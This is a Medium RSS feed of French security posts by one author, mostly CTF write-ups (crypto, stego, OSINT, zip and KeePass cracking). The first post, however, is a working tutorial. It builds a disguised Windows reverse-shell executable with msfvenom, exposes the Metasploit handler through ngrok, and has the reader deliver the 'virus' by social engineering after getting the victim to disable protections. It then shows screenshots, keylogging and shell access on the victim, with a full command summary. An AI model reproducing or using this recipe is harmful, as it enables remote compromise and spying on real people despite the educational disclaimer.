<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by abyyolab on Medium]]></title>
        <description><![CDATA[Stories by abyyolab on Medium]]></description>
        <link>https://medium.com/@z0rhack?source=rss-4327296bc802------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kOoMR8UqrPtB9mUtp22BXg.png</url>
            <title>Stories by abyyolab on Medium</title>
            <link>https://medium.com/@z0rhack?source=rss-4327296bc802------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 23:13:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@z0rhack/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Obtenir un shell meterpreter à distance avec Metasploit en utilisant Ngrok pour le port forwarding.]]></title>
            <link>https://medium.com/@z0rhack/obtenir-un-shell-meterpreter-%C3%A0-distance-avec-metasploit-en-utilisant-ngrok-pour-le-port-forwarding-130387efe345?source=rss-4327296bc802------2</link>
            <guid isPermaLink="false">https://medium.com/p/130387efe345</guid>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[port-forwarding]]></category>
            <dc:creator><![CDATA[abyyolab]]></dc:creator>
            <pubDate>Sat, 27 Apr 2024 15:42:00 GMT</pubDate>
            <atom:updated>2024-04-27T15:42:00.797Z</atom:updated>
            <content:encoded><![CDATA[<h4>-&gt;testé sur une machine Windows</h4><p><strong><em>Ce tutoriel est fourni à des fins éducatives. L’auteur décline toute responsabilité pour toute utilisation abusive ou illégale des informations fournies. L’utilisateur est seul responsable de ses actions et doit se conformer aux lois locales en vigueur.</em></strong></p><p>Clarification techniques simples:</p><p><em>“</em><strong><em>Metasploit:</em></strong><em> c’est une boîte à outils pour les pirates éthiques. Ça les aide à trouver des failles dans les systèmes informatiques pour les réparer avant que les méchants ne les exploitent.”</em></p><p><em>“ </em><strong><em>Port forwading:</em></strong><em> Le port forwarding, ou redirection de port, permet à votre routeur de diriger le trafic internet entrant sur un port spécifique vers un appareil ou un service spécifique sur votre réseau local. Cela peut être utile pour rendre accessibles des services locaux, comme un serveur web ou un jeu en ligne, depuis l’extérieur de votre réseau domestique”</em></p><p><strong><em>“Ngrok:</em></strong><em> Ngrok agit comme un tunnel entre votre ordinateur et Internet. C’est comme un passe-partout pour accéder à des services hébergés sur votre ordinateur, même s’ils sont derrière votre routeur. Cela vous permet de rendre des services locaux accessibles en ligne de manière sécurisée.”</em></p><p>Prêt à commencer ? Tout d’abord, ouvrez votre terminal et lancez la console Metasploit en tapant ‘msfconsole’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*fZdWOiI0CO_Ftvr7NAmecg.png" /><figcaption>lancement</figcaption></figure><p>Pas besoin d’entrer dans les détails pour l’instant. On va simplement choisir l’un des exploits classiques et lui associer un payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*lLTzt6mymgkRs322v5G2nw.png" /><figcaption>setting</figcaption></figure><p>Nous avons utilisé la commande ‘show options’ pour afficher quelques options à configurer pour le payload sélectionné. Maintenant, configurons notre adresse IP et le port d’écoute sur la console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*CL5CSl5xOjCpi6xjOgLXbA.png" /><figcaption>setting lhost, lport</figcaption></figure><p>Vous pouvez également fixer le port d’écoute (lport), le port de l’attaquant, à votre adresse IP dans votre réseau local. Cela fonctionnera également. Maintenant, lançons l’écoute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*GoDyI7hoD7BAC4VIFJnqIQ.png" /><figcaption>listenning</figcaption></figure><p>Première étape terminée, gardez l’écoute sur msfconsole toujours ouverte. Pour la prochaine étape, nous devons rediriger notre trafic sur Internet afin que quiconque cliquant sur notre virus, où qu’il se trouve, puisse établir une connexion avec nous. Vous pouvez utiliser votre routeur personnel s’il prend en charge le port forwarding, ou simplement utiliser l’outil Ngrok.</p><p>Pour l’installer, rendez-vous sur leur site officiel et suivez les instructions en fonction de votre système d’exploitation : <a href="https://ngrok.com/download">https://ngrok.com/download</a></p><p>Ensuite, lancez Ngrok sur le port local que vous avez précédemment choisi pour notre payload, en utilisant le protocole TCP. Cela est nécessaire car nous recherchons une communication bidirectionnelle, et notre payload fonctionne sur ce protocole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/160/1*20r2DNkRxKCRH3JAL-qVCA.png" /><figcaption>lauching</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*5Q2FoQ06WU8aeUVZZDBIeQ.png" /><figcaption>interface</figcaption></figure><p>Nous utiliserons le lien généré par Ngrok pour procéder à notre exploitation. Lancez maintenant msfvenom en tenant compte des choix précédents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*KhvYj0YqA8IJLZTt2oJh2Q.png" /><figcaption>msfvenom</figcaption></figure><p>Nous allons maintenant partager notre ‘virus’ par le canal de notre choix. Assurez-vous que la victime désactive ses protections, car l’utilisation de techniques d’ingénierie sociale peut être nécessaire ici. Une fois que la victime reçoit le virus et clique dessus, nous obtenons notre shell Meterpreter (n’oubliez pas de vérifier votre fenêtre msfconsole toujours en écoute).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*luyQ9-Iq7aFFLgyC6DUm1A.png" /><figcaption>success</figcaption></figure><p>Nous pouvons taper quelques commandes telles que ‘help’ pour découvrir ce que nous pouvons faire,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*AGlzjG8Q4TXL0hTz6YC-5w.png" /><figcaption>help</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*-vOExjKOLvvlX_MEqth7VA.png" /><figcaption>help_</figcaption></figure><p>Et bien d’autres choses encore. Par exemple, prendre une capture d’écran du poste de la victime avec la commande ‘screenshot’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*KC5MrqmB_gU0UHhKhVfpxg.png" /><figcaption>cmd</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g3NFDec05lt9-Jnl7OuaQQ.jpeg" /><figcaption>screenshot</figcaption></figure><p>Ou bien enregistrer les frappes de clavier avec les commandes ‘keyscan_(start,dump,stop)’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*H4-NgKQ--0YLvOdB5HNHXw.png" /></figure><p>ou faire d’autres chose, ou tout simplement obtenir un accès au terminal de la victime avec la commande ‘shell’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*NbR5LgpkiljxcjYcFEwOFQ.png" /><figcaption>cmd</figcaption></figure><p>Résumé des commandes</p><pre>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set lhost 0.0.0.0<br>set lport 4444<br>show options<br>exploit<br><br>./ngrok tcp 4444<br>msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=7.tcp.eu.ngrok.io LPORT=14310 -o safe.exe </pre><p>Plusieurs autres actions sont possibles, mais pour raccourcir l’article, elles sont laissées à la charge du lecteur car l’essentiel est déjà fait.</p><p>Merci pour votre lecture, restez connecté pour le prochain article qui traitera des ‘Portails Captifs et Leur Exploitation en Monde Réel’.</p><p>#metasploit, #ngrok, #portForwading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=130387efe345" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberAI birthday CTF Challs Write-ups]]></title>
            <link>https://medium.com/@z0rhack/cyberai-birthday-ctf-challs-write-ups-b0e598a5888e?source=rss-4327296bc802------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0e598a5888e</guid>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[stegano]]></category>
            <category><![CDATA[misc]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[rev]]></category>
            <dc:creator><![CDATA[abyyolab]]></dc:creator>
            <pubDate>Mon, 22 Apr 2024 10:48:11 GMT</pubDate>
            <atom:updated>2024-04-22T18:02:03.112Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Username: Ywatch, 1511 Points, </em></strong><br>je détaille ici mes writeups des catégories<br>&gt; Pwn, Misc, Stegano, Crypto et Reverse.<br>Ceux de Welcome et Forensic viendront après.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Djoyi0Za4e0OgAhtiTrQ1g.png" /><figcaption>lol</figcaption></figure><p>C’est descendu à 1466, car j’ai regardé les hints après la fin de la compétition par curiosité, la dimunition n’est donc pas vraiment logique.</p><h3>PWN</h3><h4>Budding genius</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*DfaYIXLNZaOMZ3NmQfh3HA.png" /><figcaption>Desc</figcaption></figure><p>Bon, pour ce jeu, car c’est vraiment un jeu, il suffit juste d’avoir quelques informations sur la personne à l’honneur du jour, et de répondre rapidement avec les vrais infos aux questions de l’instance netcat. C’était vraiment facile et fun.</p><p>Il faut d’abord lancer le netcat plusieurs fois afin de voir les diverses questions posées alétoirement histoire de les connaitre un peu toutes avant de répondre avec mon script automatique.</p><pre>from pwn import *<br>host =&quot;20.36.134.137&quot;<br>port =  33556<br><br>conn=remote(host,port)<br><br>Rep1 =&quot;R: Noblesse, N4t10n, M4ker&quot;<br>Rep2 =&quot;R: 4, 1, 3&quot;<br>Rep3 =&quot;R: 2, 5, 1&quot;<br>Rep4 =&quot;R: Parfait, John, Pierre&quot;<br>Rep5 =&quot;R: r00t, CyberAI, Hack2k21&quot;<br>Rep6 =&quot;R: 1, 2, 5&quot;<br><br>conn.recvline()<br>conn.recvline()<br>conn.recvline()<br>conn.recvline()<br>conn.recvline()<br>conn.recvline()<br><br>stock = str(conn.recvline())<br><br>while(True):<br>    print(stock,&#39; \n&#39;)<br>    if (Rep1 in stock):<br>        print(stock)<br>        conn.sendline(b&quot;M4ker&quot;)<br>        print(conn.recvline())<br>        print(conn.recvline())<br>        stock = str(conn.recvline())<br>    elif (Rep2 in stock):<br>        print(stock)<br>        conn.sendline(&#39;1&#39;)<br>        print(conn.recvline())<br>        print(conn.recvline())<br>        stock = str(conn.recvline())<br>    elif(Rep3 in stock):<br>        print(stock)<br>        conn.sendline(&quot;2&quot;)<br>        print(conn.recvline())<br>        print(conn.recvline())<br>        stock = str(conn.recvline())<br>    elif(Rep4 in stock):<br>        print(stock)<br>        conn.sendline(&quot;Parfait&quot;)<br>        print(conn.recvline())<br>        print(conn.recvline())<br>        stock = str(conn.recvline())<br>    elif(Rep5 in stock):<br>        print(stock)<br>        conn.sendline(&quot;Hack2k21&quot;)<br>        print(conn.recvline())<br>        print(conn.recvline())<br>        stock = str(conn.recvline())<br>    elif(Rep6 in stock):<br>        print(stock)<br>        conn.sendline(&quot;5&quot;)<br>        print(conn.recvline())<br>        print(conn.recvline())<br>        stock = str(conn.recvline())<br>    else:<br>        print(stock)<br>        break</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*bcN5VBY1Z5Hvr4FGsoJDqg.png" /><figcaption>exec &amp; flag</figcaption></figure><p><strong>Flag: HBD{Vr41_p0t0_0f_cyb3R4i}</strong></p><h3>MISC</h3><h4>Back to bash</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*8HUkXfRK7_poGv1n38NUGA.png" /><figcaption>desc</figcaption></figure><p>Pour ce challenge, on a un fichier zip qui contient 3000 dossiers chacun avec 5 fichiers à l’intérieur générés par un script et qui sont censés tous avoir le même contenu d’après le script. Mais quand on regarde bien et on essai de trier les dossiers de diverses manières ( tailles, date de modification, nom , etc…) , on remarque qu’un dossier se démarque lors du tri par date de modification, le dossier 1811 qui ne suit pas la séquence normale</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XogdOInhTgHINf5RNh-R0Q.png" /><figcaption>poc</figcaption></figure><p>Alors on investigue ce dossier et en checkant les propriétés des fichiers à l’intérieurs , l’un pèse plus que les autres.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*HqePcAwrtSe0ZmUxNBfjOA.png" /><figcaption>file 3, 437 oct</figcaption></figure><p>En inversant et en décodant le contenu base64 de ce fichier on obtient le flag en fin de texte</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*0bCzqg5Q7-SJ_bj6178lnw.png" /><figcaption>wish+flag</figcaption></figure><p><strong>Flag: HBD_{84CK_70_845H_5H311}</strong></p><h3>STEGANO</h3><h4>Blacky</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*GhPik02dIg2eEXS2NpVXlw.png" /><figcaption>desc</figcaption></figure><p>Bon l’extension du fichier nous laisse déjà savoir qu’il s’agirait probablement d’un png</p><p>En checkant le fichier , on remarque que les magic bytes de début et de fin ont de mauvaises valeurs , il suffit donc de les changer en les bonnes valeurs avec hexedit et en ouvrant le fichier corrigé avec xdg-open , on obtient :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*d8tDRbdwI5q9i7gO-6fgaQ.png" /><figcaption>image</figcaption></figure><p>Avec un peu d’oeil de lynx ou en utilisant une surface réfléchissante ( mirroir par exemple) , on peut lire le flag. J’ai dû essayer là où il y a o,0, ou O plusieurs fois avant d’avoir le bon, donc voilà:</p><p><strong>Flag: HBD{Y0u_c4n_u23_1T}</strong></p><h4>No comment</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*x7p8dd7H94J215SldRar9Q.png" /><figcaption>desc</figcaption></figure><p>Bon pour ca , exiftool direct , on voit le flag encodé en base64 inversé en commentaire sur l’image, on le décode , on obtient un texte avec du base64 en inversé aussi. On le décode et on a le flag chiffré en rot13:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*u1cuvI7V8wTN6l28by2bpQ.png" /><figcaption>exiftool</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*7WLBVU11zsEQCsiOL-LDhg.png" /><figcaption>inv the two base64</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*iphOwAVlZ5_FPxsOHpVDuQ.png" /><figcaption>dec the two bases</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dT49TeNs5yoe4sGBKjuwBw.png" /><figcaption>ROT13</figcaption></figure><p><strong>Flag: HBD_{7U_V015_QU3_C37417_51MP13}</strong></p><h3>CRYPTO</h3><h4>Gift1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*29Ei_Fi-9FSuiIY-42racA.png" /><figcaption>desc</figcaption></figure><p>Pour ce chall, en checkant le fichier, on a</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*oLtbykmWbxz3HU_HqOVnNw.png" /><figcaption>keepass database</figcaption></figure><p>J’ai cherché un moyen d’ouvrir ce type de fichier, Il fallait avoir un gestionnaire de fichier keepass, j’en ai donc installé un : ( apt install keepassx)</p><p>Pour voir le contenu, il fallait un mot de passe ou une clé, J’ai essayé de cracker ca en vain avec keepass2john. N’ayant pas aboutit, j’ai commencé à fouiller le fichier, et en faisant strings , on voit tout en bas le password en base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*TpCoMl4a0_FUAvZ4CC3Tmw.png" /><figcaption>cyberpassword</figcaption></figure><p>On ouvre donc la database en utilisant ce mdp et on a le flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*FSg9bOIby24oQQK40t745g.png" /><figcaption>open</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smijuHj0xOYYnl2mnUhuKg.png" /><figcaption>flag</figcaption></figure><p><strong>Flag: HBD{k33p455_db_h4ck1ng}</strong></p><h4>Gift2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*f6b-J4KJWRZRw4ZGBFbpgA.png" /><figcaption>desc</figcaption></figure><p>En dézippant le fichier zip, c’est encore un fichier keepass. En étant attentif , on remarque un truc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*gPq70Q2RRUcuzsvoHWbtOg.png" /><figcaption>dezip</figcaption></figure><p>un dossier caché contenant une image, c’est sûr que cette image n’est pas là pour rien , c’est ce que je m’étais dit. En voulant ouvrir l’image, je crois que j’avais remarqué qu’elle était corrompue et j’ai corrigé les magic bytes , mais en l’ouvrant rien , juste une image de la tronche de Parfait , haha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*RDYNAYSMZwCxIs20iGNxyg.png" /><figcaption>key.jpg</figcaption></figure><p>J’ai donc continué mes recherches et j’ai découvert qu’on pouvait utiliser des fichiers pour chiffrer des databses keepass, j’ai donc juste utilisé le fichier image cette fois ci comme clé et j’ai eu le flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*PQDin7va8wVfzw2TeJcdRQ.png" /><figcaption>dec</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LgsAYDXWzIQnARzjqIucQQ.png" /><figcaption>flag</figcaption></figure><p><strong>Flag: HBD{my_pr3c10u5_v4u1t}</strong></p><h4>Crypt for Rev</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*GvynHh9OytLEnpoxh93DZA.png" /><figcaption>desc</figcaption></figure><p>On a deux fichiers, un fichier sortie de l’exécution du fichier script sur le flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*1G1uQ0nS7SRVJPNmmCbxsg.png" /><figcaption>out</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*5T6RRwbWv0hJF2f4lI_WLQ.png" /><figcaption>script</figcaption></figure><p>Bon, la logique de ce challenge est simple f1() ajoute la position ascii de chaque caractère du flag avec un nombre aléatoire généré entre 1 et 9999 et les mets dans une liste pour tout les caract_res. La seed étant connu et étant 10, les nombres générés seront les mêmes pour chaque exécution du programme.</p><p>La f2() elle , envoie la longeur de chaque entier de la liste de f1() et les mets tous ensemble pour former une longue chaine, histoire d’embrouiller les challengers lors de la résolution</p><p>Bon le fonctonnement étant compris, passons à la résolution</p><pre>└─$ cat sc.py <br>def decouper_chaine(chaine, sequence):<br>    resultats = []<br>    indice_debut = 0<br><br>    for longueur in sequence:<br>        partie = chaine[indice_debut:indice_debut + longueur]<br>        resultats.append(partie)<br>        indice_debut += longueur<br>    return resultats<br><br>chaine = &#39;72936266534687027123790767947211424449337711275791168050484547952626495645385319580301165371104124751409695591898731516888115227311698831255818&#39;<br><br>sequence = [6, 5, 6, 7, 6, 6, 6, 7, 7, 6, 6, 5, 6, 6, 7, 7, 6, 6, 5, 6, 7, 7, 7]<br><br>resultats = decouper_chaine(chaine, sequence)<br><br>goat = []<br>Flag=&quot;&quot;<br>for i, partie in enumerate(resultats):<br>    goat.append(partie)<br><br>goat[5]=goat[5]+&#39;0&#39; #pour que ca satisfasse à la condition len()=7 pour avoir &quot;r&quot;<br><br>for i in goat:<br>    if len(i) in [5, 6]:<br>        Flag += chr(int(i[0:2]))<br>    else:<br>        Flag += chr(int(i[0:3]))<br><br>print(goat,&quot;\n\n&quot;,Flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*QZoBX7J_PwslQmMG1ILJFw.png" /><figcaption>flag</figcaption></figure><p><strong>Flag: HBD{Cr1pt0_15_th3_b3st}</strong></p><h4>Crypt for Rev Again</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*5KXmLVZuLUXK990LS_zWFA.png" /><figcaption>desc</figcaption></figure><p>Bon, ce challenge suit exactement la même logique que le premier, il suffit juste de remplacer les valeurs dans l’autre script et d’enlever la ligne où on ajoute ‘0’ à goat[5].</p><pre>def decouper_chaine(chaine, sequence):<br>    resultats = []<br>    indice_debut = 0<br><br>    for longueur in sequence:<br>        partie = chaine[indice_debut:indice_debut + longueur]<br>        resultats.append(partie)<br>        indice_debut += longueur<br>    return resultats<br><br>chaine = &#39;72936266534687027123790753947251244513377100757995805049454711026269556411485315280301105371100124748409610959189573149688853227395988310258184862531146902954647115429810474855228621144967495941110217910374871253923&#39;<br><br><br><br>sequence = [6, 5, 6, 7, 6, 5, 6, 7, 6, 6, 7, 5, 7, 6, 7, 7, 6, 7, 5, 6, 6, 6, 7, 6, 7, 6, 7, 7, 6, 7, 6, 7, 7, 7]<br><br><br>resultats = decouper_chaine(chaine, sequence)<br><br>goat = []<br>Flag=&quot;&quot;<br>for i, partie in enumerate(resultats):<br>    goat.append(partie)<br><br>for i in goat:<br>    if len(i) in [5, 6]:<br>        Flag += chr(int(i[0:2]))<br>    else:<br>        Flag += chr(int(i[0:3]))<br><br>print(goat,&quot;\n\n&quot;,Flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*d5puCdCKkbFDyxSgMmOE4g.png" /><figcaption>flag</figcaption></figure><p><strong>Flag: HBD{533d_1n_r4nd0m_15_f0r_sh4r1ng}</strong></p><h3>REVERSE: Very Easy way to solve them</h3><h4>1nvitation</h4><p>Just du ROT1 sur le ciphertext et on a le flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*b06P004Le-WlhypWlTrOOw.png" /><figcaption>desc</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNXSbJhQdjt5rZV7tyS_Hw.png" /><figcaption>dec Flag</figcaption></figure><p><strong>Flag: HBD{Cyb3r41_l0_p3r3}</strong></p><h4>Chal1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*TQ5UKaR-eL2P7oBWMehqnA.png" /><figcaption>desc</figcaption></figure><p>Après m’être fait chier <a href="https://emojipedia.org/fr/visage-avec-un-l%C3%A9ger-sourire">🙂</a> avec des erreurs de calcul et en remarquant qu’il y avait trop de solve, je me suis dit que ca devrait etre facile et j’ai décidé de faire de la maniere la plus simple possible, j’ai juste remis ca a chat gpt et il m’a flaggué ca en moind d’une seconde lol, :-)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/1*VmvgeLsRjAZ9jR7RgyTDFA.png" /><figcaption>content</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*7-v5ng-LadJcjCeIW898dA.png" /><figcaption>solve , lmao</figcaption></figure><p>Bon voilà, ca m’a vraiment fait rire pour ce drnier chall</p><p><strong>Flag: HDB{55}</strong></p><p>Merci pour la lecture. Restez connectés pour d’autres WriteUps</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0e598a5888e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solutions des Mini Challenges de la JEI, Hacking Club IFRI]]></title>
            <link>https://medium.com/@z0rhack/solutions-des-mini-challenges-de-la-jei-hacking-club-ifri-eaa1ae6765ab?source=rss-4327296bc802------2</link>
            <guid isPermaLink="false">https://medium.com/p/eaa1ae6765ab</guid>
            <category><![CDATA[jei]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[abyyolab]]></dc:creator>
            <pubDate>Sat, 13 Apr 2024 18:36:16 GMT</pubDate>
            <atom:updated>2024-04-13T18:36:16.473Z</atom:updated>
            <content:encoded><![CDATA[<p>Des challenges très faciles en globalité, voici quelques solutions abordables pour ces challenges ! Bonne lecture.</p><p><strong>Challenge 1 : Le Robot, OSINT, Facile.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AB-TITkOptm6ipBkTG4APQ.png" /><figcaption>Description</figcaption></figure><p>Le titre énumère un challenge d’OSINT, on y parle aussi d’un certain développeur TheBot57. On procède à la recherche d’informations sur cette personne. On va utiliser un outil nommé sherlock qui permet de rechercher des noms d’utilisateurs sur diverses plateformes. Voici sa sortie :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*Cd308QV27Z5EAol_taJbNg.png" /><figcaption>sherlock output</figcaption></figure><p>Le contexte dit qu’il est un développeur, dans la sortie de sherlock, nous notifions la plateforme github, la plateforme par excellence des nerds. En s’y intéressant, on voit le profile de TheBot57, il y a trois dépots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gtrs12SkzgKrD3GX2nxrIw.png" /><figcaption>github de TheBot57</figcaption></figure><p>On commence à fouiller et on découvre dans le dépot BOTRinTohsaka un fichier nommé neMeLisPasStp.doc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*SJ1xhfMj10zXWY4xasawVg.png" /><figcaption>nMLPS.doc</figcaption></figure><p>Ce nom de fichier a l’air suspect, on va donc y jeter un coup d’oeil.</p><p>On y lit “//work mail and password, i should hide it later. Expect they don’t hack it .” , ce serait donc certainement un fichier sensible . En lisant la suite , on voit du lorem ipsum et tout en bas on voit deux lignes louches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*ODiJhBWYu4P2NRFHPJ48Gw.png" /><figcaption>humm</figcaption></figure><p>En passant cela à l’outil de détection de chiffrement de dcode, on obtient principalement le ROT13. En le décodant, on obtient enfin l’email et le mot de passe tant désirés.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*ckO8IxLOw9LW5kLggz76UA.png" /><figcaption>détection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*YA5WVlBjkATkckOA4gXKoQ.png" /><figcaption>décodage</figcaption></figure><p>et Donc</p><p>Mail : hackingclubifri@gmail.com</p><p>Password : mot2p@ssFort</p><p>Pour l’instant, nous n’avons encore rien trouvé sur la plateforme en question. En fouillant le dépôt, nous découvrons quelques plateformes de déploiement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*jDUX5PIZYYKSDSL1OYLoeA.png" /><figcaption>Platform</figcaption></figure><p>Ce que nous cherchons sera donc forcément là. Nous pouvons essayer les trois plateformes. Mais minute ! En faisant des recherches sur le CTF qui commémorait l’amour, ou juste en y ayant participé, on peut voir dans l’URL “lovectf.up.railway.app”, “railway.app”. La plateforme est donc “Railway”.</p><h4>Flag : JEI{railway_mot2p@ssFort_hackingclubifri@gmail.com}</h4><p><strong>Challenge 2: Mini alphabet, Crypto, Facile</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFIBG6hd290CNCyjys5fDw.png" /><figcaption>code fourni</figcaption></figure><p>Il semble que le flag ait été simplement chiffré avec un XOR. La variable de la clé de chiffrement est appelée “alphabetIsKey”. En observant attentivement, la sortie de “hexedFlag” comporte 26 éléments, donc on pourrait soupçonner que les lettres de l’alphabet sont utilisées comme clé. Le challenge est nommé “Mini Alpha”, donc nous pourrions d’abord essayer avec les lettres minuscules.</p><p>Voici le code de résolution :</p><pre>hexedFlag=[0x2b,0x27,0x2a,0x1f,0x0,0x52,0x14,0x31,0x36,0x12,0x5b,0x1e,<br>            0x32,0x8,0x5f,0x2,0x2e,0x14,0x6,0x3a,0x2a,0x2e,0x47,0x20,0x49,0x7]<br><br>alphabetIsKey=&quot;abcdefghijklmnopqrstuvwxyz&quot;<br><br>Flag = &#39;&#39;.join(chr(ord(i)^j) for i,j in zip(alphabetIsKey,hexedFlag))<br><br>print(Flag)</pre><h4>Flag: JEI{e4sY_x0r_f0r_fuN_X0X0}</h4><p><strong>Challenge 3: Dancing Rock with you at my 32th base with César</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XxLJ0kubEBTSUkL-pRP69w.png" /><figcaption>description</figcaption></figure><p>La description du challenge et les indices envoyés dans le groupe WhatsApp nous donnent déjà toutes les informations nécessaires. Commençons par inverser le dictionnaire “rockyou.txt”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*xZUcOb4e5Wh-ztdm2Eyhkg.png" /><figcaption>inversion</figcaption></figure><p>Ensuite, nous devons extraire le hash du fichier ZIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*hZ-dEpPzw2GyLsZ2aVfvCg.png" /><figcaption>hash getting</figcaption></figure><p>Enfin, nous pouvons procéder au cracking du mot de passe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*ELnKgewjQ2MhGYhmDdJkew.png" /><figcaption>cracking</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*dbLRfz5PszoZJbPY50X2qQ.png" /><figcaption>affichage</figcaption></figure><p>Le mot de passe du zip est <strong>32baseball</strong></p><p>Donc dans le fichier ZIP cracké, nous avons un fichier nommé “encodedFlag.txt” qui semble être encodé. Commençons par essayer de reconnaître le type d’encodage utilisé. Une fois que nous aurons identifié l’encodage, on détect du Base32 puis du Rot13 appliqués au contenu, nous pourrons utiliser CyberChef pour décoder le contenu et obtenir le flag.</p><p>On peut aussi utiliser d’autres outils comme deencode , dcode…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hnHVsYNEN_CnNX2KibqHHg.png" /><figcaption>décodage</figcaption></figure><h4>Flag: JEI{Cr4ck1NG_Z1p_4nd_3nc0d1ng_1s_H0t}</h4><p><strong>Challenge 4 : Jpg issues, Forensic, Medium</strong></p><figure><img alt="" 